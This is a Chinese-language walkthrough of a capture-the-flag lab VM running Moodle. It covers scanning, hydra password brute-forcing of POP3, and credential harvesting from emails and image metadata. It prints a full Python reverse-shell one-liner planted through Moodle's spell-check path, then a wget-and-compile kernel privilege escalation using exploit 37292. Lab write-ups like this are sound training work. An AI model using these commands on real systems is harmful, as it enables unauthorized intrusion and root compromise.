导入靶机后,使用netdiscover获取靶机IP。

Netdiscover选项
图片.png

这里使用命令:netdiscover -r 192.168.2.0/24,扫描到靶机IP为192.168.2.5

图片.png

先使用nmap做信息收集:nmap -sS -sV -T5 -A -p- 192.168.2.5

-P0:值进行扫描,不[ping](http://man.linuxde.net/ping)主机;
 
-PT:是同TCP的ping;
 
-sV:探测服务版本信息;
 
-sP:ping扫描,仅发现目标主机是否存活;
 
-[ps](http://man.linuxde.net/ps):发送同步(SYN)报文;
 
-PU:发送udp ping;
 
-PE:强制执行直接的ICMPping;
 
-PB:默认模式,可以使用ICMPping和TCPping;
 
-d:增加调试信息地输出;
 
-oN:以人们可阅读的格式输出;
 
-oX:以xml格式向指定文件输出信息;
 
-oM:以机器可阅读的格式输出;
 
-A:使用所有高级扫描选项;
 
-sT:   tcp扫描
 
-sP:  PING扫描
 
-sS:syn扫描
 
-sU:UDP扫描
--resume:继续上次执行完的扫描;
 
-P:指定要扫描的端口,可以是一个单独的端口,用逗号隔开多个端口,使用“-”表示端口范围;
 
-e:在多网络接口Linux系统中,指定扫描使用的网络接口;
 
-g:将指定的端口作为源端口进行扫描;
 
--scanflags:设置在扫描报文中的TCP标志。

图片.png

开放了25、80、55006、55007四个端口,先访问80端口看看

图片.png

网页给出提示,说访问/sev-home/目录,但是访问发现需要账号密码。

图片.png

四处查看,发现有个terminal.js文件

图片.png

在注释当中发现两个用户:boris和Natalya

注释中还给出了HTML编码之后的password,解码后为:InvincibleHack3r

使用获得的用户名和密码,尝试登录http://192.168.2.5/sev-home/

图片.png

登陆成功

图片.png

谷歌翻译一下

这里了解到运行着一个POP3服务,根据之前nmap扫描的结果,访问55006、55007,访问后发现是55007

回看 terminal.js 当中的提示,服务正在使用默认的密码,使用hydra爆破一下。

kali自带字典:/usr/share/wordlists*/

-R 根据上一次进度继续破解
-S 使用SSL协议连接
-s 指定端口
-l 指定用户名
-L 指定用户名字典(文件)
-p 指定密码破解
-P 指定密码字典(文件)
-e 空密码探测和指定用户密码探测(ns)
-C 用户名可以用:分割(username:password)可以代替-l username -p password
-o 输出文件
-t 指定多线程数量,默认为16个线程
-vV 显示详细过程
server 目标IP
service 指定服务名(telnet ftp pop3 mssql mysql ssh ssh2......)

图片.png

用户名:boris,密码:secret1!

用户名:natalya,密码:bird

有了用户名和密码,这里使用nc登录到服务器邮箱。

这里要用到pop3命令:

图片.png

图片.png

图片.png

先登录boris,并没有在邮件中发现什么有用的东西,那换成natalya登录看看。

图片.png

在第二封邮件中获取到一些信息

图片.png

用户名:xenia,密码:RCP90rulez!

域:severnaya-station.com

网址:severnaya-station.com/gnocertdir

根据邮箱的要求,修改hosts文件,添加域名,然后访问。

图片.png

图片.png
是Moodle开源CMS,使用刚才邮箱中获取到的用户名和密码进行登录。

翻翻找找,发现了一封邮件,其中包含一个用户名doak,但是没有密码。

图片.png

再次使用hydra进行密码爆破。

图片.png

使用破解出的用户名密码登录pop3服务查看邮件。

图片.png

用户名:dr_doak,密码:4England!

重新登录CMS,发现一个s3cret.txt文件。

图片.png

图片.png

访问其中给出的图片。

图片.png

将图片保存下来,使用exiftool查看,发现base64字符串。

图片.png

base64解码后的得到xWinter1995x!

图片.png

使用用户名:admin,密码:xWinter1995x!登录CMS,谷歌后发现靶机是没有有gcc编译的,首先把GCC编译改为CC编译,Google Spell改为PSpellShell。

图片.png

经过网上搜索moodle2.2.3版本的漏洞后,发现在Site administration-Server-System paths,可以上传代码。

图片.png

图片.png

这里使用python反弹shell,代码:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket. SOCK_STREAM);s.connect(("192.168.2.3",5555));os.dup2( s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

关于反弹python反弹shell,单独写一篇文章:关于Python -c反弹shell

图片.png

图片.png

nc监听本地5555端口。

图片.png

图片.png

关于nc,菜鸟教程

回到网页,找到能发邮件的地方,随便填写,然后点击Toggle。

图片.png

图片.png

成功反弹shell,继续执行python -c 'import pty; pty.spawn("/bin/bash")'获取tty,执行id后能发现,是www-data低权限用户,接下来就要想办法进行提权。

图片.png

谷歌搜索ububtu 3.13.0-32的提权漏洞后,选择使用kali中自带的exploit 37292。

图片.png

searchsploit搜索到之后,将37292.c复制到当前目录来。

图片.png

因为目标机器没有gcc编译,所以要修改37292.c,修改为cc编译。

图片.png

在kali当中使用python启动一个http服务。

图片.png

关于python开启http服务可见以下文章:

python3 http.server模块 搭建简易 http 服务器
【HTTPServer】借助Python建立简易的HTTP服务

在目标机器中,cd到tmp目录,然后wget下载37292.c脚本。

图片.png

图片.png

使用cc编译37292.c后并执行。

图片.png

此时再输入id和whoami,已经提升到了root权限。

图片.png

find查找一下flag,发现一个.flag.txt文件。

图片.png

cat看一下,拿到flag。

图片.png